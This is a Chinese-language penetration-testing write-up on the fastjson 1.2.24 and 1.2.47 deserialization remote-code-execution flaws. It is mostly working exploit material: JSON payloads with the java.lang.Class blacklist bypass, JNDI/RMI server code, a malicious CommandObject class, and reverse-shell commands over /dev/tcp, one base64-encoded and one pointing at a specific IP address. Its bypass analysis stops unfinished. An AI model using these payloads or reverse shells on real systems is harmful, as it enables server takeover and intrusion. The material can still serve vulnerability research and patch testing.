[TOC]
fastjson 1.2.47 rce
在渗透测试中 发现了fastjson的有漏洞的版本,
想着尝试下
危害
恶意攻击者可以构造攻击请求绕过FastJSON的黑名单策略。例如,攻击者通过精心构造的请求,远程让服务端执行指定命令
对应payload
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit": true
}
}
此处简单测试了利用该命令漏洞会去请求exploit。
这个漏洞的利用方式跟18年的fastjson反序列化漏洞比较类似,这里先看下18年的fastjson漏洞,跟着分析下
FastJson-JdbcRowSetImpl
搭建漏洞环境
根据FastJson-JdbcRowSetImpl搭建该漏洞环境,进行测试, 该漏洞环境
开启http服务
Python3 -m http.server 80
生成Payload
java -jar FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar <HTTP服务地址> 指定RMI端口
触发
poc 如下
import java.lang.Runtime;
import java.lang.Process;
public class CommandObject {
public CommandObject(){
try{
Runtime rt = Runtime.getRuntime();
//Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/8550 0>&1");
//String[] commands = {"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMjQuMTQ2LjIwNC84NTUwIDA+JjE=}|{base64,-d}|{bash,-i}"};
String[] commands = {"ping","xxxx.ceye.io"};
Process pc = rt.exec(commands);
System.out.println("11111");
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
System.out.println("2222");
}
}
public static void main(String[] argv){
CommandObject e = new CommandObject();
}
}
反弹shell 测试
String[] commands = {"bash -i >& /dev/tcp/ip/8550 0>&1"};
将此处直接修改为该命令,发现结果不行,直接运行该commandobject程序
结果发现是zsh 不支持,切换个,网上一堆用如下java反弹shell的写法,结果发现在1.8的jdk,一直不符合格式
String[] commands = ["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[];
修改后如下,可以反弹shell,还有其他方式暂时未试,详情看使用java反弹shell
import java.lang.Runtime;
import java.lang.Process;
public class fastjson {
public fastjson(){
try{
Runtime rt = Runtime.getRuntime();
//String[] commands = {"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMjQuMTQ2LjIwNC84NTUwIDA+JjE=}|{base64,-d}|{bash,-i}"};
//String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/118.24.146.204/8550 0>&1'"};
Process pc = rt.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
//System.out.println(commands[0]);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
fastjson e = new fastjson();
}
}
漏洞分析
根据分析,这次遇到的fastjson漏洞不是最近1.2.47版本的,而是之前1.2.24
此处反编译的
FastJson_JdbcRowSetImpl_JNDI_RMIServer如下
创建rmi(java 本身的rpc框架)
import cn.com.topsec.fastjson.FastJson_JdbcRowSetImpl_JNDI_RMIServer;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;
public class FastJson_JdbcRowSetImpl_JNDI_RMIServer
{
public static void start(String httpServer, int rmiPort, String hostName) throws AlreadyBoundException, RemoteException, NamingException {
System.out.println("* Open JNDI-RMI Listener on " + rmiPort);
System.out.println("\n [*] HTTPSERVER = " + httpServer);
System.out.println(" [*] RMIPORT = " + rmiPort);
System.setProperty("java.rmi.server.hostname", hostName);
Registry registry = LocateRegistry.createRegistry(rmiPort);
Reference reference = new Reference("CommandObject", "CommandObject", httpServer);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
}
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String httpServer = args[0];
int rmiPort = Integer.parseInt(args[1]);
String[] httpServerHost = httpServer.split(":");
String hostName = httpServerHost[0];
httpServer = "http://" + httpServer + "/";
start(httpServer, rmiPort, hostName);
System.out.println("\n [*] Payload���");
System.out.println(" [+] {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://" + httpServerHost[0] + ":" + rmiPort + "/Object\",\"autoCommit\":true}");
System.out.println("\n [*] enjoy���");
}
}
创建RMI Server
package com.luckyqiao.rmi;
import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public static void main(String[] args) {
RemoteHello remoteHello = new RemoteHelloImpl();
try {
RemoteHello stub = (RemoteHello) UnicastRemoteObject.exportObject(remoteHello, 4000); //导出服务,使用4000端口
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000); //获取Registry
registry.bind("hello", stub); //使用名字hello,将服务注册到Registry
} catch (AlreadyBoundException | IOException e) {
e.printStackTrace();
}
}
}
参照sky 的rmi server 进行修改如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author sky
*/
public class rmiserver {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("CommandObject",
"CommandObject","http://localhost:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
整理下 利用方式
【1】首先准备一个 RMI Server
【2】开启对应的httpserver
【3】CommandObject.class 执行文件
【4】利用poc
1.2.47 与1.2.24的区别
在该漏洞情况下 poc与1.2.47 稍有区别
1.2.24 poc如下
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}
根据poc来看 是进行了黑名单的绕过,在1.2.24的漏洞情况下,将”com.sun.rowset.JdbcRowSetImpl”进行了黑名单的处理,但在1.2.47中又给绕过了
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit": true
}
}
绕过分析-待续
fastjson黑名单
在1.2.48的补丁中将 “java.lang.Class”给进行拉黑处理了
参考
fastjson-blacklist
FastJson-JdbcRowSetImpl
使用java反弹shell
fastjson =< 1.2.47 反序列化漏洞浅析